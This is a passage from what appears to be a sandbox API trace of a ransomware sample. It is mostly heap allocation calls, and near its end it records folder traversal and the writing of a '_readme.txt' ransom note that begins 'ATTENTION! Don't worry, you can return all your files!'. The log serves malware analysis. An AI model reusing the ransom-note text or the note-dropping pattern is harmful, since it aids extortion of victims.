out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.886] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.890] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0124.890] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.890] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.891] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.891] PathFindFileNameW (pszPath="") returned="" [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.891] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.891] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.891] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.891] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.891] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0124.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.891] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0124.892] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.892] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important 